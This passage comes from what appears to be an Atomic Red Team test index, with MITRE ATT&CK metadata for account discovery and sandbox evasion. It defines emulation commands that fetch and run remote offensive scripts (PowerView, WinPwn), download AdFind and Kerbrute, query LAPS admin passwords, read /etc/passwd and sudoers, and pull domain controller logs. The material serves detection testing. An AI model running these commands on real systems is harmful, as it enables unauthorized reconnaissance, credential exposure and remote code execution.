Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Network Traffic: Network Traffic Content' - 'Group: Group Enumeration' type: attack-pattern id: attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af created: '2020-02-21T21:08:26.480Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1087/002 external_id: T1087.002 - source_name: CrowdStrike StellarParticle January 2022 description: 'CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.' url: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1087.002 atomic_tests: - name: Enumerate all accounts (Domain) auto_generated_guid: 6fbc9e68-5ad7-444a-bd11-8bf3136c477e description: | Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session supported_platforms: - windows executor: command: | net user /domain net group /domain name: command_prompt - name: Enumerate all accounts via PowerShell (Domain) auto_generated_guid: 8b8a6449-be98-4f42-afd2-dedddc7453b2 description: 'Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed. ' supported_platforms: - windows executor: command: | net user /domain get-localgroupmember -group Users get-aduser -filter * name: powershell - name: Enumerate logged on users via CMD (Domain) auto_generated_guid: 161dcd85-d014-4f5e-900c-d3eaae82a0f7 description: 'Enumerate logged on users. Upon exeuction, logged on users will be displayed. ' supported_platforms: - windows input_arguments: computer_name: description: Name of remote system to query type: string default: "%COMPUTERNAME%" executor: command: 'query user /SERVER:#{computer_name} ' name: command_prompt - name: Automated AD Recon (ADRecon) auto_generated_guid: 95018438-454a-468c-a0fa-59c800149b59 description: | ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed. supported_platforms: - windows input_arguments: adrecon_path: description: Path of ADRecon.ps1 file type: path default: PathToAtomicsFolder\..\ExternalPayloads\ADRecon.ps1 dependency_executor_name: powershell dependencies: - description: 'ADRecon must exist on disk at specified location (#{adrecon_path}) ' prereq_command: 'if (Test-Path "#{adrecon_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -Uri "https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1" -OutFile "#{adrecon_path}" executor: command: 'Invoke-Expression "#{adrecon_path}" ' cleanup_command: 'Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads" -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item -Force -Recurse ' name: powershell - name: Adfind -Listing password policy auto_generated_guid: 736b4f53-f400-4c22-855d-1a6b5a551600 description: | Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties ' name: command_prompt - name: Adfind - Enumerate Active Directory Admins auto_generated_guid: b95fd967-4e62-4109-b48d-265edfd28c3a description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/ supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args} ' name: command_prompt - name: Adfind - Enumerate Active Directory User Objects auto_generated_guid: e1ec8d20-509a-4b9a-b820-06c9b2da8eb7 description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args} ' name: command_prompt - name: Adfind - Enumerate Active Directory Exchange AD Objects auto_generated_guid: 5e2938fb-f919-47b6-8b29-2f6a1f718e99 description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args} ' name: command_prompt - name: Enumerate Default Domain Admin Details (Domain) auto_generated_guid: c70ab9fd-19e2-4e02-a83c-9cfa8eaa8fef description: 'This test will enumerate the details of the built-in domain admin account ' supported_platforms: - windows executor: command: 'net user administrator /domain ' name: command_prompt - name: Enumerate Active Directory for Unconstrained Delegation auto_generated_guid: 46f8dbe9-22a5-4770-8513-66119c5be63b description: | Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user supported_platforms: - windows input_arguments: domain: description: Domain FQDN type: string default: "$env:UserDnsDomain" uac_prop: description: UAC Property to search type: integer default: 524288 dependencies: - description: 'PowerShell ActiveDirectory Module must be installed ' prereq_command: | Try { Import-Module ActiveDirectory -ErrorAction Stop | Out-Null exit 0 } Catch { exit 1 } get_prereq_command: | if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) { Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online } else { Install-WindowsFeature RSAT-AD-PowerShell } executor: name: powershell elevation_required: false command: 'Get-ADObject -LDAPFilter ''(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})'' -Server #{domain} ' - name: Get-DomainUser with PowerView auto_generated_guid: 93662494-5ed7-4454-a04c-8c8372808ac2 description: 'Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose name: powershell - name: Enumerate Active Directory Users with ADSISearcher auto_generated_guid: 02e8be5a-3065-4e54-8cc8-a14d138834d3 description: | The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/ supported_platforms: - windows executor: name: powershell elevation_required: false command: '([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne() ' - name: Enumerate Linked Policies In ADSISearcher Discovery auto_generated_guid: 7ab0205a-34e4-4a44-9b04-e1541d1a57be description: | The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81 supported_platforms: - windows executor: name: powershell elevation_required: false command: '(([adsisearcher]''(objectcategory=organizationalunit)'').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }} ' - name: Enumerate Root Domain linked policies Discovery auto_generated_guid: 00c652e2-0750-4ca6-82ff-0204684a6fe4 description: | The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81 supported_platforms: - windows executor: name: powershell elevation_required: false command: '(([adsisearcher]'''').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }} ' - name: WinPwn - generaldomaininfo auto_generated_guid: ce483c35-c74b-45a7-a670-631d1e69db3d description: Gathers general domain information using the generaldomaininfo function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') generaldomaininfo -noninteractive -consoleoutput name: powershell - name: Kerbrute - userenum auto_generated_guid: f450461c-18d1-4452-9f0d-2c42c3f08624 description: Enumerates active directory usernames using the userenum function of Kerbrute supported_platforms: - windows input_arguments: Domain: description: Domain that is being tested against type: string default: "$env:USERDOMAIN" DomainController: description: Domain Controller that is being tested against type: string default: "$env:UserDnsDomain" dependency_executor_name: powershell dependencies: - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe" - description: 'username text file must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\username.txt"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1087.002/src/username.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\username.txt" executor: command: |- cd "PathToAtomicsFolder\..\ExternalPayloads" .\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt" name: powershell - name: Wevtutil - Discover NTLM Users Remote auto_generated_guid: b8a563d4-a836-4993-a74e-0a19b8481bfe description: "This test discovers users who have authenticated against a Domain Controller via NTLM. \nThis is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)\n" supported_platforms: - windows executor: command: |- $target = $env:LOGONSERVER $target = $target.Trim("\\") $IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"' cleanup_command: 'Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx ' name: powershell - name: Suspicious LAPS Attributes Query with Get-ADComputer all properties auto_generated_guid: 394012d9-2164-4d4f-b9e5-acf30ba933fe description: This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime supported_platforms: - windows input_arguments: hostname: description: Name of the host type: string default: "$env:computername" executor: command: 'Get-ADComputer #{hostname} -Properties *' cleanup_command: name: powershell elevation_required: false - name: Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property auto_generated_guid: 6e85bdf9-7bc4-4259-ac0f-f0cb39964443 description: This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime supported_platforms: - windows input_arguments: hostname: description: Name of the host type: string default: "$env:computername" executor: command: 'Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime' cleanup_command: name: powershell elevation_required: false - name: Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope auto_generated_guid: ffbcfd62-15d6-4989-a21a-80bfc8e58bb5 description: This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime supported_platforms: - windows executor: command: Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties * cleanup_command: name: powershell elevation_required: false - name: Suspicious LAPS Attributes Query with adfind all properties auto_generated_guid: abf00f6c-9983-4d9a-afbc-6b1c6c6448e1 description: This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: domain: description: Domain of the host type: string default: "$env:USERDOMAIN" executor: command: '& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" * ' cleanup_command: name: powershell elevation_required: false - name: Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd auto_generated_guid: 51a98f96-0269-4e09-a10f-e307779a8b05 description: This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: domain: description: Domain of the host type: string default: "$env:USERDOMAIN" executor: command: '& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime ' cleanup_command: name: powershell elevation_required: false - name: Active Directory Domain Search auto_generated_guid: '096b6d2a-b63f-4100-8fa0-525da4cd25ca' description: 'Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory ' supported_platforms: - linux input_arguments: domain: description: The domain to be tested type: string default: example top_level_domain: description: The top level domain (.com, .test, .remote, etc... following domain, minus the .) type: string default: test user: description: username@domain of a user within the ad database type: string default: user@example.test password: description: password of the user with admin privileges referenced in admin_user type: string default: s3CurePssw0rD! dependency_executor_name: sh dependencies: - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch ' prereq_command: 'which ldapsearch ' get_prereq_command: 'echo ldapsearch not found ' executor: elevation_required: false command: 'ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn ' name: sh - name: Account Enumeration with LDAPDomainDump auto_generated_guid: a54d497e-8dbe-4558-9895-44944baa395f description: | This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/) supported_platforms: - linux input_arguments: username: description: Username and domain to authenticate with type: string default: domain\user target_ip: description: IP to connect to type: string default: 127.0.0.1 password: description: Password to authenticate with type: string default: password dependency_executor_name: sh dependencies: - description: Python3 must be installed prereq_command: if [ -x "$(command -v python3 --version)" ]; then exit 0; else exit 1; fi; get_prereq_command: sudo apt-get -y install python3 - description: Pip must be installed prereq_command: if [ -x "$(command -v pip --version)" ]; then exit 0; else exit 1; fi; get_prereq_command: |- wget -O /tmp/get-pip.py https://bootstrap.pypa.io/pip/3.6/get-pip.py python3 /tmp/get-pip.py - description: The ldapdomaindump module must be installed prereq_command: python3 -c 'import ldapdomaindump' 2>/dev/null get_prereq_command: pip install ldapdomaindump - description: The future module must be installed prereq_command: python3 -c 'import future' 2>/dev/null get_prereq_command: pip install future executor: command: 'ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087' cleanup_command: "rm -rf /tmp/T1087/ 2>/dev/null \n" name: sh elevation_required: false T1087.001: technique: modified: '2024-01-11T23:47:44.655Z' name: 'Account Discovery: Local Account' description: |- Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groups on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Daniel Stepanic, Elastic - Miriam Wiesner, @miriamxyra, Microsoft Security x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Process: OS API Execution' - 'Group: Group Enumeration' - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Access' type: attack-pattern id: attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e created: '2020-02-21T21:07:55.393Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1087/001 external_id: T1087.001 - source_name: id man page description: MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024. url: https://linux.die.net/man/1/id - source_name: groups man page description: MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024. url: https://linux.die.net/man/1/groups - source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - source_name: Elastic - Koadiac Detection with EQL description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.' url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1087.001 atomic_tests: - name: Enumerate all accounts (Local) auto_generated_guid: f8aab3dd-5990-4bf8-b8ab-2226c951696f description: 'Enumerate all accounts by copying /etc/passwd to another file ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1087.001.txt" executor: command: | cat /etc/passwd > #{output_file} cat #{output_file} cleanup_command: 'rm -f #{output_file} ' name: sh - name: View sudoers access auto_generated_guid: fed9be70-0186-4bde-9f8a-20945f9370c2 description: "(requires root)\n" supported_platforms: - linux - macos input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1087.001.txt" executor: command: | if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi; if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi; cat #{output_file} cleanup_command: 'rm -f #{output_file} ' name: sh elevation_required: true - name: View accounts with UID 0 auto_generated_guid: c955a599-3653-4fe5-b631-f11c00eb0397 description: 'View accounts with UID 0 ' supported_platforms: - linux - macos input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1087.001.txt" executor: command: | grep 'x:0:' /etc/passwd > #{output_file} grep '*:0:' /etc/passwd >> #{output_file} cat #{output_file} 2>/dev/null cleanup_command: 'rm -f #{output_file} 2>/dev/null ' name: sh - name: List opened files by user auto_generated_guid: 7e46c7a5-0142-45be-a858-1a3ecb4fd3cb description: 'List opened files by user ' supported_platforms: - linux - macos executor: command: 'username=$(id -u -n) && lsof -u $username ' name: sh dependency_executor_name: sh dependencies: - description: 'check if lsof exists ' prereq_command: 'which lsof ' get_prereq_command: "(which pkg && pkg install -y lsof)||(which yum && yum -y install lsof)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y lsof)\n" - name: Show if a user account has ever logged in remotely auto_generated_guid: 0f0b6a29-08c3-44ad-a30b-47fd996b2110 description: 'Show if a user account has ever logged in remotely ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "/tmp/T1087.001.txt" dependency_executor_name: sh dependencies: - description: 'Check if lastlog command exists on the machine ' prereq_command: 'if [ -x "$(command -v lastlog)" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'sudo apt-get install login; exit 1; ' executor: command: "[ \"$(uname)\" = 'FreeBSD' ] && cmd=\"lastlogin\" || cmd=\"lastlog\" \n$cmd > #{output_file}\ncat #{output_file}\n" cleanup_command: 'rm -f #{output_file} ' name: sh - name: Enumerate users and groups auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e description: 'Utilize groups and id to enumerate users and groups ' supported_platforms: - linux - macos executor: command: | groups id name: sh - name: Enumerate users and groups auto_generated_guid: 319e9f6c-7a9e-432e-8c62-9385c803b6f2 description: 'Utilize local utilities to enumerate users and groups ' supported_platforms: - macos executor: command: | dscl . list /Groups dscl . list /Users dscl . list /Users | grep -v '_' dscacheutil -q group dscacheutil -q user name: sh - name: Enumerate all accounts on Windows (Local) auto_generated_guid: 80887bec-5a9b-4efc-a81d-f83eb2eb32ab description: | Enumerate all accounts Upon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session supported_platforms: - windows executor: command: | net user dir c:\Users\ cmdkey.exe /list net localgroup "Users" net localgroup name: command_prompt - name: Enumerate all accounts via PowerShell (Local) auto_generated_guid: ae4b6361-b5f8-46cb-a3f9-9cf108ccfe7b description: 'Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed. ' supported_platforms: - windows executor: command: | net user get-localuser get-localgroupmember -group Users cmdkey.exe /list ls C:/Users get-childitem C:\Users\ dir C:\Users\ get-localgroup net localgroup name: powershell - name: Enumerate logged on users via CMD (Local) auto_generated_guid: a138085e-bfe5-46ba-a242-74a6fb884af3 description: 'Enumerate logged on users. Upon execution, logged on users will be displayed. ' supported_platforms: - windows executor: command: 'query user ' name: command_prompt T1497.001: technique: modified: '2024-04-19T12:49:40.919Z' name: 'Virtualization/Sandbox Evasion: System Checks' description: "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Deloitte Threat Library Team - Kostya Vasilkov x_mitre_deprecated: false x_mitre_detection: Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '2.2' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Static File Analysis - Signature-based detection - Host forensic analysis - Anti-virus type: attack-pattern id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6 created: '2020-03-06T20:57:37.959Z' created_by_ref: 